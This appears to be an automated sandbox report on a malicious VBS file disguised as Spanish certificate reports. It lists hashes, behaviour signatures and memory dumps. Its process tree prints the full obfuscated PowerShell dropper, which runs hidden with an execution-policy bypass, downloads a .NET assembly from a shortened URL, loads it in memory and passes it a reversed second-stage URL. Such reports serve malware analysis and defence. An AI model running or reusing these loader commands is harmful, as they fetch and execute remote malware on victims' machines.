Analysis

  • max time kernel
    36s
  • max time network
    62s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    11/10/2022, 20:10

General

  • Target

    0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs

  • Size

    201KB

  • MD5

    7630029622a80a4a6563200a053ac39c

  • SHA1

    54bbc37e0fd0dfe0d23874c295e59fa303aac7ff

  • SHA256

    7310fb74edb1596430ef2e68fd3d339df540ae79e78d74895697ac81a1533204

  • SHA512

    03b8fde8a8d3264ae78567be466dd630951913b0ccf60c7f5430b34061e9c521350d9ed75d8984487f2f74d582365e8de89867924ab609b57ae31e0ddeb84d37

  • SSDEEP

    96:dyYRYFYDnYHFLvTfJZf4UbbNhtF/Zldy2ILS8414NEWUvWZ1+AN1qHk:d9ua6Ay/ATm45ZJ1qE

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://tinyurl.com/2erph6cs

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIBQgFCCvAK8AFCCvABMgEyCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADIAWABaAC8AcwByAG⌚⌚⌚AZgBvAG0ALwB3AG⌚⌚⌚AbgAvADQANwAuADAANQAuADMAMQAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnACQAJQAmAC8ANQA2ADcA⌚⌚⌚gAkAC⌚⌚⌚A⌚⌚⌚gB⌚⌚⌚AH⌚⌚⌚AeQAiACMAZAB0AHkAaAB0AHkAZgA1ADYANgA3ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('–——¯¯—¯––¯', 'C:\Users\Admin\AppData\Local\Temp\0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.2XZ/srefom/wen/47.05.312.19//:ptth' , $RodaCopy , '$%&/567R$%RTuy"#dtyhtyf5667' ))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1676

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          1fef7009d5d130fb62d87ea1b2434ddc

          SHA1

          3e8a7ad98f59a2b442f199791e91025eb5068791

          SHA256

          cff066fb046b01c28610246655a1e04d662c7210462bb7b762c57480b02883d0

          SHA512

          afd3727da06bb671c2561889329aeeaedd13e8f898dafbae2389a58d4c0514ba54cbd244eb540cdede041ba36f76680d3d6e11202616ab8867b672ab8af38bfd

        • memory/1176-59-0x000000001B800000-0x000000001BAFF000-memory.dmp

          Filesize

          3.0MB

        • memory/1176-57-0x000007FEF4940000-0x000007FEF5363000-memory.dmp

          Filesize

          10.1MB

        • memory/1176-58-0x000007FEF3DE0000-0x000007FEF493D000-memory.dmp

          Filesize

          11.4MB

        • memory/1176-73-0x000000000265B000-0x000000000267A000-memory.dmp

          Filesize

          124KB

        • memory/1176-62-0x0000000002654000-0x0000000002657000-memory.dmp

          Filesize

          12KB

        • memory/1176-63-0x000000000265B000-0x000000000267A000-memory.dmp

          Filesize

          124KB

        • memory/1652-54-0x000007FEFBB31000-0x000007FEFBB33000-memory.dmp

          Filesize

          8KB

        • memory/1676-66-0x000007FEF3DE0000-0x000007FEF493D000-memory.dmp

          Filesize

          11.4MB

        • memory/1676-67-0x0000000002584000-0x0000000002587000-memory.dmp

          Filesize

          12KB

        • memory/1676-65-0x000007FEF4940000-0x000007FEF5363000-memory.dmp

          Filesize

          10.1MB

        • memory/1676-68-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

          Filesize

          3.0MB

        • memory/1676-69-0x000000000258B000-0x00000000025AA000-memory.dmp

          Filesize

          124KB

        • memory/1676-70-0x0000000002584000-0x0000000002587000-memory.dmp

          Filesize

          12KB

        • memory/1676-71-0x0000000002584000-0x0000000002587000-memory.dmp

          Filesize

          12KB

        • memory/1676-72-0x000000000258B000-0x00000000025AA000-memory.dmp

          Filesize

          124KB